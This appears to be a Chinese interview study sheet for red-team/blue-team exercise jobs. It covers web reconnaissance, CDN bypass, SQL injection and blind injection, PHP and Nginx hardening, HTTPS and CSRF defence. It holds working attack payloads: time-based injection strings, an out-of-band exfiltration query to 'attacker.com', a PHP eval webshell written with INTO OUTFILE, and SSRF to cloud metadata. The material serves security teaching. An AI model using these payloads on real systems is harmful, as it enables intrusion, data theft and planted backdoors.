2025年HW(护网面试) 34
1、网站信息收集
2、怎么寻找真实IP(cdn绕过)
3、常见漏洞原理和防范
4、sql怎么找注入点、盲注
5、叙述一下时间盲注原理以及用到的各种函数
6、sleep函数被过滤怎么办?
7、sql注入能拿shell么,需要什么权限
8、怎么获得网站的绝对路径?
9、web服务器解析漏洞了解么?
10、Nginx安全配置相关
11、PHP审计流程
12、php怎么防注入
13、php安全配置了解么
14、web渗透流程
15、http了解么、长连接还是短连接、谈谈对http无状态的理解。
16、bp抓https包的原理
17、https实现过程
18、防御csrf的方式?token防御csrf的原理?
一、网站信息收集
核心步骤与工具
| 类别 |
方法 |
工具示例 |
| 基础架构 |
HTTP头分析、端口扫描 |
Nmap, Wappalyzer |
| 子域名 |
证书透明度、DNS爆破 |
Amass, Subfinder |
| 目录文件 |
敏感文件扫描、备份文件探测 |
Dirsearch, Wayback Machine |
| 关联资产 |
反向IP查询、Whois信息关联 |
Shodan, Fofa |
二、CDN绕过与真实IP获取
6大实战方法
- 历史解析记录
- 查询DNS历史:
SecurityTrails, ViewDNS.info
- 全球Ping检测
- 利用不同地区节点:
Ping + ASN归属分析 → 识别非CDN IP
- 子域名探测
www域名有CDN → 尝试mail、dev等未配置CDN的子域
- 协议漏洞利用
- SSRF响应:
http://xxx.com/?url=http://169.254.169.254 (云元数据)
- 邮件服务器追踪
- DNS记录泄露
SPF记录中的ip4:声明(如v=spf1 ip4:203.0.113.1 -all)
三、常见漏洞原理与防御
四大高危漏洞对比
| 漏洞类型 |
原理 |
防御方案 |
| SQL注入 |
用户输入拼接SQL语句 |
参数化查询(PreparedStatement) |
| XSS |
恶意脚本注入页面 |
CSP头:Content-Security-Policy |
| SSRF |
服务端请求伪造内网资源 |
白名单校验URL + 禁用file://协议 |
| RCE |
系统命令执行函数未过滤 |
禁用危险函数(如eval())+ 权限最小化 |
四、SQL注入检测与盲注
注入点探测流程
mermaid`graph LR A[输入点检测] --> B(单引号触发错误) B --> C{返回异常?} C -->|是| D[报错注入] C -->|否| E[布尔盲注检测] E --> F(1' AND 1=1-- → 正常) F --> G(1' AND 1=2-- → 异常?) G -->|是| H[确认布尔盲注]`
时间盲注核心函数
| 数据库 |
延时函数 |
示例Payload |
| MySQL |
SLEEP() |
1' AND SLEEP(5)-- |
| PostgreSQL |
pg_sleep() |
1' AND pg_sleep(5)-- |
| MSSQL |
WAITFOR DELAY |
1'; WAITFOR DELAY '0:0:5'-- |
五、Sleep函数被过滤的替代方案
4种绕过方式
- 重载延时
- MySQL:
BENCHMARK(10000000, MD5('a'))
- 条件错误触发
1' AND IF(1=1, (SELECT 1 FROM INFORMATION_SCHEMA.PLUGINS), 1/0)--
- 大查询阻塞
SELECT * FROM all_tables t1, all_tables t2(制造笛卡尔积)
- 外带数据延时
- DNS查询:
1' AND LOAD_FILE(CONCAT('\\\\',(SELECT HEX(user)), '.attacker.com\\'))--
六、SQL注入拿Shell的条件
| 前提条件 |
操作路径 |
| 1. 文件写权限 |
secure_file_priv为空(MySQL) |
| 2. 绝对路径获取 |
通过报错/配置文件泄露 |
| 3. Web目录写入 |
写入PHP一句话: SELECT '<?=eval($_POST[1])?>' INTO OUTFILE '/var/www/shell.php' |
七、网站绝对路径获取
7大途径
- 报错信息
- PHP错误:
Warning: include(/var/www/config.php) failed
- 配置文件
/etc/apache2/sites-enabled/000-default.conf → DocumentRoot
- 进程信息
- Linux:
/proc/self/cwd → 符号链接指向路径
- 框架特性
- Laravel:
php artisan tinker → base_path()
- 文件包含漏洞
- 包含
/proc/self/environ获取环境变量
- 备份文件泄露
- 命令执行回显
八、Web服务器解析漏洞
经典案例解析
| 服务器 |
漏洞原理 |
攻击示例 |
| IIS 6.0 |
目录名含.asp则所有文件按ASP解析 |
/upload.asp/logo.jpg → JPG当ASP执行 |
| Nginx <0.8 |
路径截断:%00截断文件名 |
/test.php%00.jpg → PHP执行 |
| Apache |
多后缀解析:.php.jpg 当PHP执行 |
shell.php.jpg → 触发PHP引擎 |
九、Nginx安全配置
6项关键配置
nginx`# 1. 禁用敏感信息 server_tokens off; # 隐藏Nginx版本 # 2. 文件访问限制 location ~* \.(ini|conf|env)$ { deny all; # 禁止访问配置文件 } # 3. 防目录遍历 autoindex off; # 禁用目录列表 # 4. 限制HTTP方法 if ($request_method !~ ^(GET|POST)$ ) { return 444; # 非GET/POST请求直接断开 } # 5. 防路径穿越 location ~* \.\./ { deny all; # 阻断../跳转 } # 6. CSP防护 add_header Content-Security-Policy "default-src 'self'";`
十、PHP审计流程
四步代码审计法
mermaid`graph TB A[敏感函数定位] --> B[参数回溯] B --> C{输入是否可控?} C -->|是| D[过滤机制分析] D --> E[构造PoC验证]`
十一、PHP防注入方案
3层防御体系
- 输入层过滤
filter_var($input, FILTER_SANITIZE_STRING)
- 执行层隔离
- PDO预处理:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
- 输出层转义
- HTML输出:
htmlspecialchars($str, ENT_QUOTES)
十二、PHP安全配置
| 配置项 |
安全值 |
作用 |
expose_php |
Off |
隐藏PHP版本 |
disable_functions |
system,exec,passthru |
禁用危险函数 |
open_basedir |
/var/www |
限制文件访问范围 |
session.cookie_httponly |
1 |
防JS窃取Session |
十三、Web渗透流程
五阶段模型
- 信息收集:资产测绘 + 指纹识别
- 漏洞探测:自动扫描 + 手动验证
- 漏洞利用:武器化Payload投递
- 权限维持:Webshell + 后门安装
- 横向移动:凭证窃取 + 内网漫游
十四、HTTP协议核心问题
| 问题 |
技术解析 |
| 长连接 vs 短连接 |
长连接:Connection: keep-alive(复用TCP连接) 短连接:每次请求新建连接 |
| 无状态 |
协议不记录请求间状态 → 需Cookie/Session维持会话 |
| HTTPS抓包原理 |
中间人攻击:BP生成伪证书 + 客户端信任CA根证书 |
十五、HTTPS建立过程
TLS握手六步
- Client → Server:
ClientHello(支持密码套件列表)
- Server → Client:
ServerHello(选定密码套件)+ 证书
- Client验证证书合法性(CA链校验)
- Client生成随机对称密钥 → 用证书公钥加密发送
- Server用私钥解密获取对称密钥
- 双方用对称密钥加密通信
十六、CSRF防御机制
Token防御原理
mermaid`graph LR A[用户登录] --> B[服务端生成Token存入Session] B --> C[Token嵌入表单隐藏域] C --> D[提交请求时验证Token] D -->|匹配| E[执行操作] D -->|不匹配| F[拒绝请求]`
其他防御方案
- SameSite Cookie :
Set-Cookie: session=xxx; SameSite=Lax
- 双重Cookie验证:请求头携带Cookie + Body携带Token
- 验证码挑战:敏感操作需二次验证